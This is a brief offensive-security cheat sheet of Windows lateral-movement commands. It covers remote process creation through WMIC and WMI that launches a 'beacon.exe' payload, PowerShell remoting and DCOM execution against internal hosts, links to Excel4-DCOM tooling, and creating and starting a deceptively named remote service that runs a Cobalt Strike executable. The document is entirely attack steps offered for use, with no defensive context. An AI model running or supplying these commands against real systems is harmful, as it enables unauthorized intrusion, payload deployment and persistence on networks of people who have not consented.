#return value of 0 = successful
wmic process call create beacon.exe
Invoke-WMIMethod -Class win32_process -Name create -ArgumentList beacon.exe
Enter-PSSession 192.168.1.2
Invoke-Command -ScriptBlock {whoami} -ComputerName 192.168.1.2
Invoke-DCOM -ComputerName "192.168.1.1" -Method MMC20.Application -Command "Notepad.exe"
PowerShell - https://github.com/OutFlanknl/Excel4-DCOM
Aggressor - https://github.com/OutFlanknl/Excel4-DCOM
Execute-Assembly - https://github.com/rvrsh3ll/SharpExcel4-DCOM
# Create Windows Service EXE from cobalt strike
sc \\pc.domain.com create LegitService binpath="C:\windows\tasks\service.exe"
sc \\pc.domain.com start LegitService